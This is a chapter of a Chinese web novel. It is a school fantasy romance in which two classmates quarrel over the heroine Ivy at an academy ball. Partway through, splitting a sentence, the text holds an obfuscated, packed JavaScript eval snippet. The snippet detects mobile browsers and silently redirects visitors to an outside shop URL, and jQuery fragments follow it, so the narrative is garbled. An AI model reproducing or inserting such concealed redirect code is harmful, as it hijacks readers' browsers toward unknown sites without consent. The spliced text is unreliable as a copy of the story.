维德学院的舞会,和圣伦汀学院的不太一样。
圣伦汀学院的舞会更加自由、开放,乐队即兴演奏,学生跟着音律随意舞动,有的时候会突然斗舞,几个跳街舞的人三两成团,摆开阵地你来我往,在欢呼与笑声中向着人群飞吻;有的时候音乐舒缓下来,学生们就随机寻找舞伴,跳优雅的交际舞步,两位舞伴之间可能素不相识,可能就此擦肩而过,也可能摩擦出不一样的火花。
但维德学院的舞会,更像那种优雅严谨、觥筹交错的上流聚会。
开场舞是华尔兹,金领带成双成对,在舞池中翩翩起舞。一支舞曲后,其他学生才能加入其中,但最中心的位置始终是金领带的。他们享有最空旷、最明亮,视野最好的地方。
诺兰的交际舞步很出色,他牵着艾薇的右手,左手虚虚地扶在她腰间,步履从容稳当,带着艾薇翩翩起舞,掌心却渗出些许汗水。他脸庞微红,小声道:“不好意思,我有点紧张。”
艾薇说:“你跳得这么好,应该经常参加这种舞会,还会紧张吗?”
实话说,她才要担心自己会露怯,不小心踩到诺兰的脚呢。
诺兰说:“跳舞不紧张,和你一起跳舞……才紧张。”
他的脸颊带着红晕,眼睛清透碧绿,似乎要淌出水来。
艾薇微怔,心中有些迟疑。
……诺兰说这些话,难道是还存有什么误会吗?
诺兰见状,立刻道:“请不要多想,我没有冒犯你的意思,只是……一时半刻,我还转变不过观念来。你知道,我们这类人虽然荒唐,但却注重忠心,认准主人后,几乎不会改变……所以我看你时,总会……”
他的脸更红了,目光躲躲闪闪,但也说道:“不过我保证,我会努力、尽快克服,不给你带来困扰的。”
艾薇:“……”
她只好点头,有些讪讪的。
跳舞的时候,舞伴之间离得很近,压低声音说话,外人不会听到聊天的内容,只能看到他们言笑晏晏,亲密交谈。奥利弗看着他们,长眉压低,眼中涌出戾气。
他的舞伴是一位黑领带的少女,相貌清秀,为人低调,沉默寡言,往常从未出现在他的交际圈,似乎是被他临时拉过来的。
他带着舞伴往诺兰这边走,诺兰却每次都很巧妙地避开,如同穿花蝴蝶,在舞池中不动声色地旋转,令艾薇的裙摆在空中旋出花朵似的弧度,美不胜收。奥利弗暗暗咬牙,再次追了过去。
恰逢音乐转换节拍,奥利弗手一松,将舞伴推向诺兰,挑眉笑道:“换一下舞伴?”
传统交际舞中,常有交换舞伴的动作,伴随音乐自然而然地进行,并不突兀。
如果遵循礼仪,诺兰应该松开艾薇的手,牵起奥利弗的舞伴,让艾薇去往奥利弗的身边,跳完这支舞曲。但诺兰竟然拉着艾薇避了避,全然不给奥利弗的颜面,笑着说:“不了。”
他握着艾薇的手,尽管手心汗意涔涔,却牢牢不肯松开。
奥利弗的脸彻底沉了下去。舞伴面红耳赤地回到他身边,不敢抬头,羞愤欲哭,他只能接过舞伴,继续跟随音乐舞动,却逐渐心不在焉起来。
舞曲结束后,艾薇说:“我想休息下。”
在诺兰专注的目光下,她有些不自在。这种专注和异种的注视不同,维斯佩拉他们无论怎样看着她,瞳孔深处总是空洞的,无法透漏出更多的感情,目光近似于野兽对于猎物的逼视,尽管艾薇竭力适应,有时仍会感到心悸。
诺兰的眼睛却仿佛会说话,欲语还休,满眼都是深邃的情愫。
——他仿佛,正深深地爱慕着她。
这让艾薇不敢直视他,在他的目光下,心跳都加快了。但那不是心动,只是她在害羞与窘迫时的本能反应。
诺兰道:“好,你要不要喝点什么?”
艾薇摇了摇头,“不用,我不渴。”
诺兰带着艾薇往舞池边缘走去,试探地问:“你好像从来不在学校中吃东西,是这里的食物……不合你的口味吗?”
艾薇摇头,“不是,我只是不饿也不渴。”
饮用虫蜜后,她的体质确实发生了变化。她不再向往从前喜欢的食物,甜点、奶茶、炸物和碳水,那些高能量、高油盐的美食,对她不再具备吸引力,变得可有可无。
人生会因为这个,失去很多乐趣吧。
艾薇有时会这样想,虫母的身份终究改变了她。人类对于快乐的感知,来自于多巴胺和内啡肽的分泌,但服用虫蜜之后,饮食和多巴胺的链接好似断开了。她并不会从中感觉到快乐,只是满足生理所需,那吃什么就无所谓了。
对虫族而言,这倒是一件好事情。因为他们绝不希望其他食物进入虫母的身体,只供给低劣的能量。
想到这里,艾薇脸上的表情渐渐淡了。
她没有关注身边的人,诺兰却为此患得患失,心中不免想:他是问错了话吗?还是……因为交换舞伴的事情,他没有同意,艾薇觉得他太小气、太失礼了呢?
诺兰小心地观察着艾薇的神情,带她来到旁边的休息区,还未酝酿好说辞,奥利弗就气势汹汹地冲过来,劈口便问:“你选了他?”
“什么?”艾薇有些茫然。
奥利弗涨红了脸,愤怒地盯着诺兰,昂首问:“你的男伴,你身边的人,就选了他?”他目光阴鸷,脖颈青筋鼓起,咬牙切齿地说,“你不要被他骗了,这个表里不一的人,装得光风霁月,实则满肚花花肠子,阴险又狡诈,只会哄单纯不知事的女人。”
“奥利弗,有点风度,”诺兰无奈摇头,叹道,“不要像个失败的疯狗似的,见人就咬。听听你的话,多难听。”
奥利弗盯着他,“我就算说话再难听,也比不上你做的事情难看。你骗了她什么,自己心里清楚!”
诺兰笑容微敛,“我骗了她什么?你说。”
“你装出这副好好先生的模样,把自己阴沟里的心思藏起来,还不算骗人吗?”奥利弗冷笑。
诺兰啼笑皆非,姿态仍然从容,摇头说:“这种无凭无据地指控……奥利弗,这只会显得你无能狂怒,仅此而已,没有任何用处。”
奥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596472|202354||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
利弗握紧拳头,眉宇间浮起暴躁的戾气,似乎下一瞬间,就要挥拳而出。
诺兰却怡然不惧,依旧笑着看他,低声道:“很多人都在看这里呢,你怒气上头,不顾后果,但你让旁人怎么看她?还嫌她身上的非议不够多吗?”
奥利弗咬着牙根,“用不着你惺惺作态,滥装好人!”
诺兰道:“我只是好心提醒,想要保护艾薇。你非要这样误解,我也没有办法。”
奥利弗气得半死,心想自己怎么总遇到这种绿茶。他索性不再和诺兰纠缠,而是看向艾薇,目光执拗,眼圈却渐渐红了。
“喂!”他闷声道,“你就这样看着,一句话也不说?”
他仿佛在控诉一个渣男,坐看正室和小三打破头,却作壁上观,不肯出声。
艾薇尴尬得脸都红透了,只能小声说:“你们不要吵……我们没有关系,只是舞伴而已。而且、而且……我和谁做舞伴,又和你有什么关系?”
她实在不知道,这两个人有什么好吵的。
他们都和她关系平平,却要为她吵架,真是……艾薇只想现在赶紧走,不要在这里呆着,太尴尬了。
至于说两个人是不是喜欢她,艾薇心中也有隐约的猜测。少年学生的感情,总是直白而热烈,不需要什么理由,或许惊鸿一瞥就足够了,但他们却愿意为此打破头。
如果艾薇还是个普通的学生,她或许会为两人的感情而苦恼,可能左右摇摆,甚至衍生出一段浪漫的校园故事。但现在,她的人生际遇已经截然不同,恐怕没有那样的机会与心情……再谈一场普通人的风花雪月了。
艾薇笑了笑,安静地说:“而且,我暂时也没有谈恋爱的想法。”
奥利弗看着她,却抿了抿唇,冷声冷气地说:“谁说要谈恋爱了,你这种人……不是要狗吗?”要非常、非常得她喜欢,才有可能升格为恋人,和她谈恋爱吧,他理所当然地想。
诺兰也笑了笑,“我们没有这样想,你别往心里去。奥利弗这种人,口无遮拦……”
“喂!”奥利弗忍无可忍地打断诺兰,“你不要得寸进尺……”
诺兰笑道:“你又要吵架吗?收一收脾气吧……”
就在这个时候,卡尔走进来,温声道:“这么热闹啊,艾薇同学,可惜有点吵闹。要我为您解决这两个烦恼吗?”他看着奥利弗与诺兰,表情虽然笑着,眼睛却漆黑空洞,翻涌着深深的恶念。
艾薇瞬间收敛表情,回看过去:“卡尔,记住你答应我的。”
那一瞬间,她的身上竟有了居高临下的威势,冷冷地俯视卡尔,声调虽然不高,却带着清晰的压迫感。
卡尔脸上的表情顿时有些勉强。
他默不作声地后退一步,恭敬道:“对不起,我无意冒犯,当然会谨遵承诺。”
艾薇看他半晌,才淡淡地收回目光,轻轻地“嗯”了一声。
这副漫不经心的俯视姿态,简直点燃了诺兰的身体,让他的灵魂都着起火来。他难以自抑地吞咽着口水,腰腿都是软的,指尖轻轻颤抖,目光氤氲潮湿。